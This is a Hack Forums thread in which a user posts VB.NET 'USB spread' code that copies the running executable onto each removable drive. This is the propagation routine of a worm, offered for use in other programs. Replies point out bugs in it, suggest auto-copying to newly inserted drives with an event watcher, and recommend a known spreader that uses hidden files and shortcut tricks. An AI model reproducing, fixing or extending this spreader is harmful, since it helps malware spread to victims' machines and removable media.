![]() |
|
[.NET] ! good usb spread! - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [.NET] ! good usb spread! (/showthread.php?tid=4613865) |
! good usb spread! - xVipX - Jan 1, 2015 this my class usb spread you put in the form or button ect... the coder me :) 'xvipx Dim Start As String = Application.ExecutablePath 'my Application Try For Each drive As System.IO.DriveInfo In System.IO.DriveInfo.GetDrives If drive.DriveType = IO.DriveType.Removable And IO.DriveType.CDRom AndAlso drive.IsReady Then 'check if usb is ready Dim DriveLetter As String = drive.Name Dim path = DriveLetter & IO.Path.GetFileName(Start) IO.File.Copy(Start, path) 'copy into usb End If Next Catch ex As Exception End Try End Sub * - Evolute - Jan 1, 2015 Thanks for sharing, but what's this for? Sorry, I'm not that great with this stuff. I can only see it's copying information onto the USB, but from where? * - xVipX - Jan 1, 2015 from you application in vb.net or Dim Start As String = "c:\spread.exe" * - Odus - Jan 1, 2015 You're using TryCatch but doing nothing with the caught exception. Why? Also, on your drive check, And should be replaced with Or, there's no way the drive can be both removable (USB, floppy disk [lol]) and a physical CD-ROM. So your code will do absolutely nothing. You could also use a management event watcher to detect newly inserted drives and automatically copy to it. Would be something different than the bunch of spreaders we see on a regular basis. (Jan 1, 2015 08:43 AM)Evolute Wrote: Thanks for sharing, but what's this for? Sorry, I'm not that great with this stuff. I can only see it's copying information onto the USB, but from where? Stop post boosting in the coding sections please. It's a dead giveaway when you post nothing useful. * - Evolute - Jan 1, 2015 (Jan 1, 2015 09:52 AM)Odus Wrote: Stop post boosting in the coding sections please. It's a dead giveaway when you post nothing useful. I was asking a question. Have anything else you'd like to criticize about me? * - Odus - Jan 1, 2015 (Jan 1, 2015 09:54 AM)Evolute Wrote: I was asking a question. Have anything else you'd like to criticize about me? Oh come on: 4 combined posts in the .NET section with your top 3 sections being the lounge, giveaways, and appraisals? Here: ![]() I just taught you about variables. * - Only3 - Jan 1, 2015 google nj usb spread if u want to see better one and much simple Code Parallel.ForEach(IO.DriveInfo.GetDrives, Sub(d)* - xVipX - Jan 1, 2015 yes nj spred by create shortcut & Attributes file spredr(hide) & njq8 from arabe country like me & his best coder in vb.net ;) * - He B TeMy - Jan 1, 2015 Why the fuck is there a Try catch in there? This can be found in google, why post it? |